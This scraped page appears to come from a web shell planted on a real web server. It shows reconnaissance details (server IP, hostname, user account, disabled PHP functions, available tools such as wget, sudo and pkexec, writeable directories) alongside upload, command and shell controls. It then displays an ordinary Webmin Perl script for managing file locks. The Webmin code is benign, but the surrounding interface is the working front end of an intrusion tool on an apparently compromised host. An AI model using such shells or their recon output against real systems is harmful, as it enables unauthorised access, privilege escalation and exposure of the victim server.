Private
Server IP : 195.201.23.43  /  Your IP : 18.219.89.186
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/webmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/webmin/edit_lock.cgi
#!/usr/bin/perl
# Display the locking form

require './webmin-lib.pl';
&ui_print_header(undef, $text{'lock_title'}, "");

print $text{'lock_desc'},"<p>\n";

print &ui_form_start("change_lock.cgi", "post");
print &ui_table_start($text{'lock_header'}, undef, 2);

print &ui_table_row($text{'lock_mode'},
	&ui_radio("lockmode", int($gconfig{'lockmode'}),
		[ [ 0, $text{'lock_all'} ],
		  [ 1, $text{'lock_none'} ],
		  [ 2, $text{'lock_only'} ],
		  [ 3, $text{'lock_except'} ] ])."<br>\n".
	&ui_textarea("lockdirs",
		join("\n", split(/\t+/, $gconfig{'lockdirs'})), 10, 60));

print &ui_table_end();
print &ui_form_end([ [ "save", $text{'save'} ] ]);

print &ui_table_hr();

my @locks = &list_active_locks();
my @tds;
push(@tds, "width=5");
my $locked_content;
if (@locks) {
	my $now = time();
	$locked_content = &ui_form_start("kill_lock.cgi", "post");
	$locked_content .= &ui_columns_start(
		[ "", $text{'lock_pid'}, $text{'lock_cmd'},
		      $text{'lock_file'}, $text{'lock_age'} ]);
	foreach my $p (@locks) {
		foreach my $l (@{$p->{'locks'}}) {
			my $age = $now - $l->{'time'};
			if ($age < 2*60) {
				$age .= " ".$text{'lock_s'};
				}
			elsif ($age < 2*60*60) {
				$age = int($age/60)." ".$text{'lock_m'};
				}
			else {
				$age = int($age/60/60)." ".$text{'lock_h'};
				}
			my $cmd = $p->{'proc'}->{'args'};
			$locked_content .= &ui_checked_columns_row(
				[
					&foreign_available('proc') ?
						&ui_link("@{[&get_webprefix()]}/proc/edit_proc.cgi?$p->{'pid'}", $p->{'pid'}) :
						$p->{'pid'},
					"<tt>".&html_escape($cmd)."</tt>",
					"<tt>".&html_escape($l->{'lock'})."</tt>",
					$age
				], \@tds, "d", $p->{'pid'}.'-'.$l->{'num'});
			}
		}
	$locked_content .= &ui_columns_end();
	$locked_content .= &ui_form_end([ [ 'term', $text{'lock_term'} ],
			     [ 'kill', $text{'lock_kill'} ] ]);
	print &ui_details({
			'title' => $text{'lock_files'},
			'class' => 'default',
			'content' => "$text{'lock_msg'}<br>" . $locked_content,
			'html' => 1}, 1);
	}
else {
	print &ui_details({
			'title' => $text{'lock_nfiles'},
			'class' => 'default',
			'content' => $text{'lock_noneopen'},
			'html' => 1});
	}

&ui_print_footer("", $text{'index_return'});

Private